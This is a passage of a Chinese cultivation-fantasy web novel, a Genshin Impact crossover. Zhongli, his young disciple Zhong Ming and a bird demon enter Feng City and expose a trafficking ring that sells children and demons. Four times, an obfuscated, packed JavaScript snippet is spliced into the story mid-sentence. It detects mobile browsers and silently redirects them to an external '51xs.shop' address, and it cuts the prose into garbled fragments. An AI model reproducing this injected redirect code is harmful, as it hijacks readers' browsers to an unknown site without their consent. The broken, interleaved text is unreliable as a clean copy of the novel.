“师父,您别生气,我一定忽视那只吞天雀的话,好好静心的!” “不,我不是说这个,那之吞天雀在外界也算得上是一只异兽,你此前不是想养一只坐骑吗?” 这只吞天雀撞上来,若是钟鸣喜欢,钟离也不介意带上他。 至于这只鸟被放逐的原因,据他所言,偷盗仙门丹药灵草,还一把火误烧了人家的炼丹房,为此被闹到了妖盟,也幸亏是个小门派,不然只是被赶到绝灵海,反倒便宜他了,要是有人有些眼力见,发觉他体内有一丝真凤血脉,那怕是得当了人家炼丹炼器的材料去。 钟鸣不知道那么多,他确实喜欢吞天雀那壮实的身姿,看起来就很威武,还能飞,此时似乎是感觉被师父看破了小心思,他有些不好意思地开口,“可以吗师父?” “只要你肯带他出去,这吞天雀心性倒也不算太坏,只不过,以后你就要负责约束、教导于他。” “嘿嘿,我知道了!如果他也愿意的话。” 这些话,钟离也没有避着那只吞天雀,他此刻抬眼望向灵舟之外,“你且听见了?若愿意,便进来吧。” 吞天雀在外头一下子越过屏障,滚落进船上,他的体型略大,此刻却不介意,只嘿嘿嘿地笑,别说他太过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127713|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没骨气,这是抱紧了一个大腿啊。 虽然这位妖族尊者不愿意收下他,但是他的徒弟愿意啊,四舍五入,他也是尊者罩的!以后出门,他一定护着小主子,鸟丈尊者势,知不知道什么叫打了小的,惹了老的!吃喝不愁,甚至于前途无量。 喜气洋洋的他都不管钟鸣,直接盖了个主仆契约,钟鸣是主,他是仆,那叫一个生怕他后悔的模样。 “多谢尊者大人垂怜!小主人你好啊,我叫大嘴,嘿嘿,因为吃得多,别的妖就给我取了个浑号,叫大嘴,你要是喜欢,也可以这么叫我!” 钟鸣抿了抿嘴,有点抑制不住上扬的嘴角,他见吞天雀如此神气,却偏偏叫了个大嘴,一时之间只能别过脸去看向钟离,要是笑了出来,吞天雀会不会以为自己在嘲笑他,他心里绝对不是那个意思的。 再者说,他以前叫小狗,吞天雀叫大嘴,还挺……和谐一致。 钟离哪里不知道徒弟怎么想的,他笑眯眯地喝口茶,摆摆手,“你也可以赐予他一个名字,也意味着命中注定的改变。” 如果钟离没有带着钟鸣横渡绝灵海,那么这只吞天雀可能就一直无法离开这片浓雾,只能偶尔落脚于孤岛,如今,钟离的横空出世,改变了很多命运,不论是天命之子钟鸣,还是百灵镇的魔修,亦或者眼前的吞天雀。 或许这也的的确确是吞天雀的机缘,天命之子所代表的命数啊,只待有他一飞冲天之时。 钟鸣往身后看了一眼,吞天雀也没有什么想要反驳的心,他眼巴巴地看着钟鸣,把鸟头硬生生地拱到了船舱边上,眼睛里似乎满是期待之意。 钟鸣偏偏脑袋,如果没有师父,他现在还是个大字不识一个的流浪儿,要给新上任的伙伴取一个拉风又响亮的名字…… 钟鸣苦苦思索,半响,他试探性地问:“叫裕丰如何?和御风谐音。” 反过来也是丰裕嘛,因为偷吃丹药灵草而创下大祸什么的,钟鸣希望自己以后能多挣些灵石,财富自由,家产丰裕,好养得起这个吞天雀。 况且现在他小,师父养他,他以后长大了,要多孝敬孝敬师父嘛,完全不知道钟离有多富裕的他此刻在心里暗暗下定决心。 26.第 26 章 有钟离引导,在浓雾之中迷失了方向压根是不可能之事,在吞天雀随行之后,钟离驱使灵舟再度加速,当终于离开绝灵海域之时,不仅仅是吞天雀大喜过望,钟鸣也对他未来即将生活的天灵大陆目瞪口呆。 浓郁的灵气充斥着周身,远处宏伟壮阔的城邦即使只是远远一角,也比凡界来得广袤。 对比之前,钟鸣觉得自己就好像是一个生活在井底的青蛙,一朝跳出井口,才惊觉世界之大,难以想象。 裕丰此刻激动地鸣叫了好几声,大笑着变回了人身的模样,虽然他有时候确确实实觉得人身长得太丑,浑身光溜溜的,没有羽毛,但是有些时候那也确确实实很是方便,比如他现在,终于能光明正大更在小主人与尊者大人身后拍马屁了。 化为人形的他有着一双金色的眸子,头上装饰着几片黑羽,狭长的双眼闪烁着精光,虽说也能夸一句丰神俊朗,但是见他的第一眼,总感觉他心里在打着什么坏主意似的。 “嘿嘿,尊者大人,前方便是枫城,这里靠近绝灵海,又是人、妖、魔三域交汇之处,因此这里也是远近闻名的三不管地带,这里的修士啊,都是靠实力称尊,不过对于尊者大人您来说,那不过都是些不成气候的小喽啰。” 他的恭维没有让钟离有任何动摇之心,他只是轻飘飘地撇了裕丰一眼,就让这他僵住了身子。 “哦,我感觉你话里有话啊?” “尊者大人可有领地啊?您要是看得上这枫城……” 说实话,裕丰被赶入绝灵海之前,从未听说过有钟离这么一位大妖,他又是从南荒横渡而来,要么是什么隐世大妖,要么就是犄角旮旯里来的,这领地一事,无外乎宣扬威名,何况这枫城城主三番五次轮换,靠实力称尊。 不过可惜,裕丰脑子里想了许多,钟离却都不沾边。 要问钟离的领地,当然有,龙族威名赫赫,即使传承断绝,可是妖族天宫至今无妖敢入。 妖族天宫,代表着妖皇之位,上古纪年,龙族凶名在外,自诩妖族第一,建起天宫,代表着绝对的实力与权利,统御诸妖,而后龙族隐世销匿,各路大妖也曾有入驻其中过,除了中天核心区域无法进入,天宫逐渐演变成了妖皇这个位置的代名词。 龙族之下,还有凤、麟两族,传承万年,底蕴深厚。 对于妖皇之位的争夺,又唯有实力最强者,才能打破禁制,进入其中。 “如今,天宫之中可有妖皇所在啊?” 嗯?裕丰呆住了,尊者大人的意思是……他要闯天宫?这么刺激吗? 他单知道钟离是大妖,但是实力有多强,还真没概念,原来小小的枫城还入不了钟离的眼。 “没有,”他老实回答了,“如今凤凰一脉虽有传承,但实力不济,走兽之中也有两千年没有出过能称霸一方的大妖了,剩下的都是些老怪物,各方妖族之间大小摩擦不断,压根没有能主持大局者。” 说起来,他也是飞禽一类,凤凰一脉的远亲,族中实力行不行……听说现任少主刚刚破壳五十年不到,还是个小娃娃呢。 钟离点点头,表示自己明白了,没有再提起别的来。 钟鸣站在最前方,他插不进师父和裕丰的对话间,妖族的一切,他还没有了解到那里去,只能站在灵舟前头,看着云气从身旁传过去,偶尔有几只灵鸟飞过,飘然御风,这就是仙人的感觉吗? 愣神之间,钟离已经漫步走到了他身旁,看着眼下的庞然巨物——即将临近的枫城,他眼里也带着些慨然。 此方世界与璃月不同,法则亦与提瓦特不同,这些修士们靠自己的苦修跃然高峰,人类的智慧确无穷无尽,钟离此来一遭,对这个修仙界的各种法决阵术细细钻研,也是开了眼界。 提瓦特虽然没有灵气,但也许他也可保存些锻体诀窍回去,亦能增强人们对抗魔物的实力,便是魈身上的杀孽秽气,也许也能巧妙地用另一种方法化解。 灵舟停在了距离城外五十里处,他撤下了灵舟,裕丰此刻也是心有灵犀,一下子化作本体,拖起钟鸣与钟离,往枫城极速飞去。 当抵达城门时,裕丰就停下来了,还小心地让钟离与钟鸣下去,对比起其他御剑而来的修士,钟离与钟鸣一大一小,还骑着一只大凶兽而来的两人就显得有些突兀了。 城门口的护卫鄙视地看了裕丰一眼,他们这些守卫之中,有修士,亦有妖族,这里站着的,就是两个妖族护卫。 他们那眼神之中明明白白的就是以裕丰为耻辱,好好的妖修不当,去给两个人族当牛做马。 裕丰心头却不在意,他化为人形就站在钟鸣身后,而钟离站在最前头,一副以他们为首的模样。 ‘知不知道我抱的是什么金大腿?一群有眼无珠的家伙。’ 裕丰却当别人不识庐山真面目,沾沾自喜。 而钟离,他此刻隐藏了气息与修为,普普通通,钟鸣倒是能被两妖修感知到,练气九层,绝灵海内他也没有歇息。 因此,此时在两个妖族守卫眼里,钟离和钟鸣不过是两个修为不济的人族,加上裕丰这个妖族耻辱。 “进城要两个中品灵石。” 钟离点点头,就这点零碎,他兜里尽是些极品灵石,此刻也只能四处翻翻角落,差点以为自己凑不出这些来了,钟鸣也不清楚物价,只能巴巴地跟着师父,脑子一片懵。 不过裕丰可不干了,他可是名副其实的铁公鸡,主子的灵石,那也是灵石!他那张铁嘴张口就来了。 “简直放屁,什么时候进个城要这么多?还中品灵石,你们抢劫啊?” “诶,根据规定,带坐骑者,坐骑实力越高,缴纳入城费也要更多。” 这来来往往的修士都是御剑,偶尔有些遁地传送之法,不就他们特殊吗?这守卫一脸嚣张。 但还没等裕丰多说,钟离已经摆出了两块中品灵石来,他心里还松了口气,还好之前天道给的东西有些杂,龙族的遗产里像是随意零落的小铜币一样,从一些杂物堆里翻出来些,不然只能用那上品灵石了。 钟鸣和裕丰哪里知道钟离那么富裕呢?他们还以为钟离翻遍了全身上下找出了这么两块中品灵石。 一个在心里默默心疼师父,明明家里都这么不富裕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139924|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还要给他和裕丰买单;一个眼里盯着那个狮子大开口的守卫眼睛冒火,恨不得半夜套他麻袋。 “不必在意,进去吧。” 钟离也只是懒得为那三瓜两枣闹出些什么事情来,旁人眼里,却只觉得这两人族都是冤大头。 暗处,两个修士眼里精光一闪,两个修为不高的人族,加上一个金丹后期的妖修…… 心里浮想联翩,可是手上却什么动作也没有,出来混,好歹要谨慎,虽然看中这‘肥猪崽’,但是在修仙界,扮猪吃老虎的大有人在,干他们这行的不仔细一些,那怕是早早就丢了性命。 城中的钟离几人没有关注别的,钟离的神识之下,虽然所有恶事无所遁形,但是对于还没有发生的事情,他可没法预知。 “师父、师父,你看,那边是在买东西吗?” 钟鸣垫着脚往人多的地方瞧,但是视觉有限,但还不等他气馁,裕丰直接讲他一把扛起,让钟鸣坐在了他的肩膀上。 钟鸣如今才十三岁,此前的流浪生涯让他本就看起来比同龄人小了许多,就算钟离好生养着他,脸上长肉了,但还是看起来像个小娃娃,裕丰扛起来那是毫不费力,反而让钟鸣有些面红耳赤。 “裕丰,你快放我下来,我自己看。” 他觉得自己已经是个大人了,根本不需要这样,不过脸上的羞赧让钟离也看得很有意思。 他周遭的孩子啊,胡桃鬼精鬼精的,实在让他应付不来,魈呢,日日恪尽职守,不肯放松一刻,无论何时,总爱板着脸。 钟鸣虽然只被钟离捡走半年不到,从当初那个小刺猬变成如今这个模样,也让他有些欣慰之感。 钟鸣和裕丰两看起来也实在不像是主仆,反而像是一对好朋友,想来也是,钟鸣那个性子,要他做到趾高气扬的态度,也不太可能。 “走了,去找个客栈歇脚,要是好奇,晚上再出来逛逛。” 钟离背着手,悠悠地往前走,裕丰非让钟鸣坐他肩头,虽然钟鸣不太自在,但不得不说,这个高度的视野最是宽广,四处的商阁各式各样,卖什么的都有,商品琳琅满目,看得钟鸣目不暇接。 一直到钟离直接找上了城里最奢华的客栈,再来一句要两间最好的房间。 身后的裕丰和钟鸣人都呆住了,他们刚刚还以为钟离没有多少灵石呢,现在这个随手扔了一块极品灵石的人是谁?! 每一个等级的灵石之间都是一比一百的汇率,一百块上品灵石啊! “尊者大人当真底蕴丰厚啊!” 裕丰一只贫穷鸟,那是摸都没摸过极品灵石,自然是一副穷酸样。 而被裕丰科普了一下价值观的钟鸣也点点头,仰望着师父,原来师父这么富有?他果然还是太天真了。 至于那故作偶然跨入这间客栈的两个修士,他们对视了一眼,眼里是势在必得。 “老板,来一间中品房。” 一小袋中品灵石掏出来着实有些肉疼,不过,舍不着孩子套不着狼啊。 刚刚走上楼梯的钟离向下瞥了一眼,将那两位相貌普通的修士扫视了个彻底。 27.第 27 章 “那醉神香已经点上了,我去这间,你去那间,遇事不对,老规矩。” “盯了他们大半夜,总算是歇息了,放心,保命要紧,我知道。” “那个男人你可仔细些,我看他也是外来客,估计没什么后台,做事干净点。” “知道了知道了。” 这修士不耐烦地应了几句,他面目也不可憎,看起来理直气壮的,趁着四下无人摸到钟离门前行些鬼祟之事。 这令元婴修士来了也得头晕目眩的醉神香是如何放进去的,那就是他们偷天换日的手段了,只待夜深人静,确保屋里都没了动静,他们就会到此大摇大摆破开房门禁制而入。 但如今在钟离眼下行苟且之事,这些手脚压根无所遁形。 他没急着揪出这两人,只是让自己的房间归于黑暗,实则坐在桌边静静等待。 钟离没有什么别的打算,只是觉得这些贼人可笑,以他们如此熟练的手段,想必不少修士都栽在了他们手里,如今撞上钟离,只当是替天行道了。 他的悠悠闲闲,与隔壁房间裕丰的激动形成了鲜明对比。 “好小子,我才刚从绝灵海出来,这些人族修士次次都如此愚蠢,又叫爷爷我碰上一桩大买卖!” 裕丰往常也干黑吃黑,都说是杀人放火金腰带,在这修仙界,抢完一票够他吃很久了,往常他一个人单干,干完一票闹出些动静就远遁千里,谁也追不上他,如今有了钟离当后盾,他心头算计着,这一下子,捅出天大的篓子都没人动得了他啊! 况且,那两人千算万算没料到,这香对他根本起不了一点作用吧?常在河边走,裕丰可了解得深,这醉神香不是香,而是液体,无色无味的,随便泼洒在屋内一角,就能随着时间挥发,屋中的人毫无防备,待半个时辰不到就会脑子混沌,无知无觉,像是昏迷了一般。 知道了原理,裕丰当然就有应对之策,不会再傻到中计。 如今他们三人之中,真正受到影响的只有钟鸣,他现在躺在床上睡得死死的,以他作饵,裕丰顺势化作一只巴掌大的鸟儿,躲藏在他的衣襟之中。 钟鸣自然知道裕丰的作为,这个计划,还是他和裕丰商量的,钟鸣作饵,裕丰随行。 钟离虽然并不是会完全把徒弟养在安乐屋里的大人,但是就裕丰带坏小孩这件事,钟离表示自己内心暗戳戳的记下了。 算了,小孩子想玩,他在暗中护着,让他们见识一番人间险恶也罢。 钟离感知着隔壁的动静,钟鸣被闯入者半抱起来,那人手里拿着一块试灵石,只见上面亮起刺目的金光,这人明显欣喜若狂的样子,捏着传送轴就急匆匆远遁而去,而钟离的房间里,门一开,他的目光正对上门外的修士。 “你、你!!你没中招!” 钟离面色平静,这修士明显有些惊慌,他神色间有些疑虑,不受影响的,要么修为高超,这男人看上去年纪轻轻,怎么可能达到元婴之上的层次,要么……就是他有些手段了? 虽然说干他们这一行的难免不失手,但是犯在大能手里,求生几率小到可怜,比起猜测钟离是元婴之上的大能,还不如相信他是宝贝多呢。 他一只手背在后面的手捏紧了,‘保命符’捏在手心,另一只胳膊一挥袖,浓绿色烟雾裹挟着一柄巴掌大的小飞剑就刺向钟离。 不过可惜,还未近身,钟离骤然亮起金芒的眸子已经控制住了他,这闯入者眼中亮了一瞬后,便失去了神采,那飞剑也被迫落到了地面。 至于毒雾,钟离虽然在这里被天道化作龙君,但是他的实质还是一颗天星,怎么会有毒雾能侵蚀坚固的顽石呢? “进来,把门带上。” “是。” 空洞的回话,他的神志早已经被钟离控制住,整个人现在如同傀儡,知无不言,一声令下,自杀也不会有任何犹豫。 “今夜作何打算?” “杀了那个成年人,夺走他的储物戒,孩子和妖兽带走。” “带去做什么?” “……地下拍卖场——”他神色间有些挣扎,最后还是将实情说了出来,“城主大人寿元将近,需要……需要重塑躯壳,妖兽内丹亦可炼丹……” 说的好听是什么重塑躯壳,本意不就是夺舍重生吗?钟离只是带些疑问地“哦”了一声。 看起来,这枫城城主……当真是做到头了。 “地下拍卖场在何处?” “在黑市地下。” “去吧,该怎么回去,你明白。” 这修士无神地点点头,又轻飘飘地回去了,钟离也不着急,让他回去不过是放长线钓大鱼,想必此刻钟鸣也已经到地方了。 ———— 裕丰藏在钟鸣衣口,那抱走钟鸣的修士没有看见裕丰,只当他与钟离一屋,因此没有任何疑虑,只是当他回到据点时,才看见与他同行的另一人重伤濒死。 不仅断了一臂,还受了严重的内伤。 “你那边发生了何事?” “我咳咳——”他咳出一口血来,气喘吁吁的,看起来很是虚弱,“那妖兽没中招,他是金丹后期,我不敌于他,叫他带着那个男人跑了……不过,不用担心,那个男人中了毒,现在只怕是自顾不暇。” 他这么一说,带走钟鸣的这人才缓口气,“那还好,别说,那孩子当真天赋绝高,这下子城主肯定会嘉奖于我,你还是好好去养伤吧。” 这么说着,他兴高采烈地就走了,心中甚至于已经想好了该要什么奖励,至于那重伤的男人,他眼神亮了一瞬间,随后又垂着脑袋离开了这里,至于去了哪里……可能是找死去了吧。 昏暗的屋子里,裕丰悄眯眯从钟鸣衣服里挪了出来,他的豆豆眼转了一圈,四处打量了一下,没有任何看守,他尖嘴立马狠狠地啄了钟鸣几口,一下子把脑子昏昏沉沉的钟鸣给唤醒了。 “裕丰,你下嘴轻点。” 中了那醉神香,要想醒过来也简单,彻头彻尾痛几下,脑子一下子就清醒了,钟鸣被裕丰一啄,脸一皱巴,痛呼了几声。 如今他们被人丢入一间牢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151991|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房里,钟鸣脑子刚清醒,一骨碌就爬了起来,只是没想到,这儿不仅仅只有他和裕丰,角落里,还仰躺着另一个小孩。 他这一动,反而把那人惊醒了。 “你是谁?” “我?我还没问你是谁呢?你也是被抓来的?” 钟鸣转头去瞧他,那小孩子长得很是漂亮,漂亮到了一种近乎妖异的感觉,此刻钟鸣往他靠近,他皱着眉,又往里缩了缩。 这一动,钟鸣才注意到那小孩身上拷着一条锁链,讲他的双脚双手全都限制住了,钟鸣有些不好意思,他觉得自己是吓到他了,语气也格外温软。 “你别怕,我也是被抓进来的,我叫钟鸣,这是我的朋友,叫裕丰。” 他把胸口的小鸟,也就是裕丰放在手上指给他看,然后又将其放到自己的肩膀上,让裕丰的鸟爪能牢牢抓住他的衣服而不会掉下来。 那小孩子嗤笑了一声,说道:“他明明是你的妖仆,你还说他是你的朋友。” 诶,这小子轮到钟鸣愣住了,他怎么看出来的?不过钟鸣却打心底认定裕丰确确实实是自己的朋友,主仆契约是裕丰单方面定下来的,钟鸣实力低于他,也没办法自己变更。 “你……你是妖族?” 这下子轮到裕丰发问了,那小孩子沉默了片刻,哼了一声,“我叫孔煊。” 半响又不吭声了,钟鸣是实在受不了这个沉默,他又问道:“你被抓到这里多久了?” “半个月了,这些可恶的人族——等我的家人找到我,他们就等死吧!” 想到那些抓他来的人,他眼里的憎恨便止不住地冒,此刻钟鸣慢慢坐到他身旁,他也没有发现。 “嘿,不用等,你知道这外边什么情况吗?” 孔煊一脸疑惑地看向他,练气九层的小修士,一个金丹期的鸟?他们还能跑出去不成,那个把他抓来的修士可是有元婴的修为了,那老头虽然一脸褶子,修为虚浮不少,但是他们现在被关在这里,想跑谈何容易?更别提门上还有禁制。 “有个元婴期的修士坐镇,何况,来来往往的金丹也很多,他们每次三五天来一趟,现在我被封印,怎么可能跑出去?” 他其实是有点子期望的,此刻眼睛一眨不眨地望着眼前的一人一妖。 “禁制而已,裕丰有办法,今天我被扔进来,他们压根儿没有发现裕丰,这群人如果真是那么自大,那么肯定对于关于我们之间牢房很是自信,我们悄悄摸出去怎么样?你别担心,实在不行,我就叫师父救命,我师父就在外头,一旦我有危险,他肯定立马就能赶来的。” “你们师父?”孔煊有些呆呆的,下一秒他又好似有些反应过来,一脸震惊,“你们钓鱼?” 不愧是险恶又黑心的人类,居然—— 钟鸣挠挠脸,眼睛瞥了一眼肩膀上的裕丰,明明是险恶又黑心的妖族才对吧?这都是裕丰的主意,他怎么还背黑锅了呢? 裕丰化作的这只小鸟啾啾叫了两声,装作无辜地歪歪头,什么用心险恶,他不知道啊。 28.第 28 章 孔煊和钟鸣两人鬼鬼祟祟地蹲到了牢房门口,这里是最里层,阴暗的地方,也没什么光线,不过对他们来说,压根不是什么大事情。 孔煊不是人族,从他的话语里就能看出来,他能被抓到这里,肯定也是有什么独特的地方,特别对于裕丰来说,他总感觉这小孩子对他有一股若有若无的威势,虽然比不上钟离给他的压迫感,但是也让他像是有一种见了老祖宗的感觉。 他努力忽视了这些,如今就仔细捣鼓着门上的禁制,让钟鸣和孔煊两个孩子帮他望风把门。 这倒是有一种当江洋大盗的感觉了,钟鸣的小心脏砰砰跳,和孔煊挨得紧巴巴的,那外头或多或少都放着些什么,这地下不仅仅单纯的像一个牢房,反而像是货仓。 有价值的货物,不管是珍奇物件、神兵利器、灵丹仙草,亦或者是特殊的人和妖修,全都被封藏在这里,看起来,倒是想把他们一起卖一个好价钱。 “那些修士和我想的一点也不一样。” 钟鸣说道,他紧紧地抿起嘴唇,看着这些地方除了他们之外的那些‘货物’。 他想象中的那些修仙者们应该是御剑乘风,潇洒自在的,而不是像现在这样,得到了力量就控制不住内心丑恶的欲望,看起来内心丑恶得和凡人没什么两样,甚至于还不如那些普通人呢。 “哼,人类都是这样。” “才不是,我师父就不那样。” 钟鸣忍不住反驳孔煊的话,虽然是他先开的口,但是在他心里,人有时候会很丑陋,但是遇见了师父,他就还是相信这世界上依然有好人的存在。 孔煊才不相信,要是他师父真的是好人,怎么会放心钟鸣孤身犯险,被抓到这么一个地方来呢?说不定就是伪君子。 不过,能让钟鸣随意大闹,有恃无恐的,也唯有钟离这样绝对的实力才会将一切看做小打小闹了。 两人蹲了半天,那边裕丰借着自己身形小,也没有被迫吃下封禁妖力的药物,三下五除二,把这个禁制开得悄无声息,锁链一打开,他甚至还无端感慨了一下。 唉,上次干这种事,恍若昨日,看来,被人算计,驱逐入绝灵海还是让他成长了不少啊。 “快来,小少主,门开了。” 他有些得意地朝钟鸣邀功,有一个孔煊在身边,老是小主人小主人地叫,他也要点脸,不如折中一下,钟离是顶头大佬,钟鸣是他的徒弟,那叫小少主也没错。 闻言,孔煊倒是看了过来,反应过来是在叫钟鸣后,他有些沉默地看了钟鸣一眼,然后和他一起走了出去。 一路叮叮当当的,都是因为孔煊身上的锁链,这东西裕丰也看过了,应当是专门为了犯事的大妖特意练成的镣铐,没有特制的钥匙,很难被打开,此刻这玩意儿被戴在孔煊这个和钟鸣个头差不多的孩子身上,裕丰都得骂一句这里的修士没人性。 不过,转念一想,能被人这么特殊对待,他在妖族的身份也肯定很不一般,那么裕丰会受到血脉压制这件事情,也不是很正常吗。 他的想法按耐在心里不说,钟鸣也不去多想,只当自己和孔煊两人难兄难弟,此刻一出牢房,简直是一朝得了自由,钟鸣开始兴奋了,裕丰也兴奋。 他们两像是被关进米仓的老鼠,饿了好几天,突然看见眼前的惊喜,这感觉和上了销魂窟一样,那是走过路过,一丝一毫都不错过。 裕丰还不忘PUA一下钟鸣。 “你想想啊少主,他们先动的手,我们拿点精神损失费怎么啦?这种恶人,他们是不会悔改的,那我们拿了这些东西,那是心安理得,有因必有果,他们的报应就是你和我!” 这小鸟站在钟鸣的肩膀上,说的那叫一个言之凿凿,有理有据,脸皮之厚,发言之无耻,让孔煊都说不出什么话来,他闷头不冒泡了,虽说这些遍地堆积的东西在他眼里也不是那么珍贵,他不拿也随便了钟鸣和裕丰。 但是从裕丰这同为妖族的嘴里说了这话,他不由得想到先前他嘲讽人族的心黑,现在想来,裕丰比之他们心更黑啊,妖族的脸在他身上都被丢光了。 不过,更令他意外的是钟鸣手上的储物戒,整整一个地下仓库,能薅走的基本上都薅走了,剩下的都是被锁起来的妖修或者妖兽。 照理说他们在这下面的动静也不小,那为何此刻一个守卫都没下来呢? 那还得是因为钟离了。 这个黑市里的拍卖场不难找,虽然说里面卖的东西来路五花八门,但是耐不住这场子背后有一个合体期大能的坐镇,主事者是枫城城主,修为也是元婴期,一些供奉长老实力也高,再加上他很会做人,好处大于坏处,一些人也就睁一只眼闭一只眼了。 他们也算是运气好,至今也没有踢到铁板上,不过今夜来了个钟离,好日子也算是到头了。 他没有显露出多少的实力,仅仅是元婴后期,找过来的第一句话就是:“我徒弟在你们这里失踪了。” 摆着来踢馆的架势,一句话,负责人心虚归心虚,面上理直气壮,暗地里已经开始让人立马去找城主了。 “哈哈哈哈……阁下的徒弟失踪,关我们什么事情?” 负责人害怕钟离在此地大打出手,那是好言好语地说,好茶相待,钟离就看着对方手忙脚乱,没说什么话,气势摆在那里,还没做什么动作,就让对方自乱阵脚。 “你们在做些人口买卖?” 钟离看着眼前的茶盏,随口一说。 这灵茶品质确实不错,再一感知到地底下钟鸣和裕丰的所作所为,他也只是神色不明地笑了笑。 负责人脸上讪笑了几声,脚步不自觉顿了顿,他只有金丹的修为,这要是钟离发难,自己焉有命在? “我们只是抓捕一些妖兽什么的,顶多在妖修嘴里口碑差了些……呵呵……” 说着这个,他心里却在盘算,早就托人去请背后的靠山了,解决了眼前的男人,拍卖场后面指不定要大出血一次,想到这里,他笑容就略微扭曲了些。 他在这里周旋,让底下的人加急驱散外围一些来交易物品的散修,忙得不得了,不就是为了拖延时间,掩盖眼下的状况,顺便等着靠山过来,把钟离一举拿下吗? 一具元婴修士的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164805|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉身,那可是上好的材料。 钟离也不介意他拖延时间,他为的不就是这个吗?等到人来齐了,一网打尽。 虽然钟离见多识广,但是丑恶到这一个地步的,果然还是该清理掉,天道给了他那么多好处,他帮祂清理一下害虫,也自无不可。 “你们抓孩子,用作夺舍,为何还要抓一些妖修?他们能用来做什么?拍卖品?还是炼药?” 钟离询问的语气很平淡,可是听在那人耳中却如同惊雷,用妖族修士炼丹这件事情,他们做的很是隐秘,那些被抓来的妖族,要么是被诱哄,要么是被骗。 不过,终究是他们太过于顺风顺水,所以现在越发狂妄自大,以为自己做得万无一失,连大妖子嗣也敢下手了。 钟离可不会走眼,现在跟着他徒弟一路摸出来的孔煊,要是他没感觉错,当是真凤血脉,还是只小崽子呢,不仅仅人族大能子嗣困难,妖族更是,这么得来的一个小宝贝,要是失踪了,那不得找翻天,到现在这个拍卖场还这样一副底气十足的模样,看来确实是做得够隐秘。 对于很多修士来说,妖族虽然开智比人族晚,但是他们也有自己的优势,体魄强横,骨骼血肉对于某些人来说,用来炼器、炼药都是好材料,人族抓他们不外乎此,虽然有人、妖两族结下联盟,但是铤而走险的大有人在。 想到这里,钟离感受着远处疾驰而来的敌人,他也露出了满意的神色。 这人也周旋得够久了,现在他们背后的靠山一来,钟离已然是想早些结束这一场闹剧了,他暗中给徒弟开道,钟鸣在底下早已经偷偷摸摸溜了上来,这一路下来,怕是见识不浅,至于跟着他们溜上来的那个小麻烦——孔煊,钟离无奈叹了口气,怕是路上又要多一个小崽子。 另一头,钟鸣和裕丰可谓是走得顺顺利利,即使遇上了人,都不是裕丰的对手,偶尔钟鸣还能见缝插针,帮上一帮。 为了方便,裕丰早就化作人形了,他把孔煊抱在怀里,不顾他的羞涩挣扎,反正他被缚妖索拷着,也没办法。 三个人大摇大摆打开地下仓库的门,嘿,怎么说,真的一个人都没有,裕丰已经开始吹上了。 “哈哈,不过是尊者大人,够有效率,那些三瓜两枣,都不是大人他的一合之敌啊!哈哈哈哈哈……” 这场面一看就是大佬保驾护航,有人撑腰的裕丰那是一个得意洋洋,一手抱着孔煊,一边跟着钟鸣,明明是身在敌营,却像是麾下巡查。 钟鸣捂着脸,怎么感觉和裕丰站在一起,他们就像是那个狐假虎威的法外狂徒呢? 要孔煊来看,不用说像,明明就是,他现在只余下满心好奇了,能养出这么两个江洋大盗的人,到底是什么样的。 是的,他私心里觉得裕丰和钟鸣都是江洋大盗,他俩示敌以弱,打入敌营;他们师父在外纠缠,扰乱视线,当真是好计谋,这就是狡猾的人类智慧吗?和族群里天天只会打架的傻鸟一点都不一样,他学到了。 至于裕丰是妖族这件事情,他那么丢妖尊严,早被孔煊开除妖籍,他甚至不愿意承认这货是他们凤族远亲。 29.第 29 章 “勿要多做停留,恐有变故,先回为师身旁。” 钟离的神识传音来得及时,还为钟鸣指引出了一条道路。 他此刻正坐在包厢里,刚才还能尬聊几句的氛围现在越发变得紧张,钟离却只是抬眼看了看这负责人,语气很平静。 “你背后的人……都来齐了吧?” 三道气息,一个合体,两个元婴,也不过如此,这些修士,主宰他人性命的快感体验过一时,就一世无法戒掉,不懂得守住本心,比之魔修更能称得上是魔。 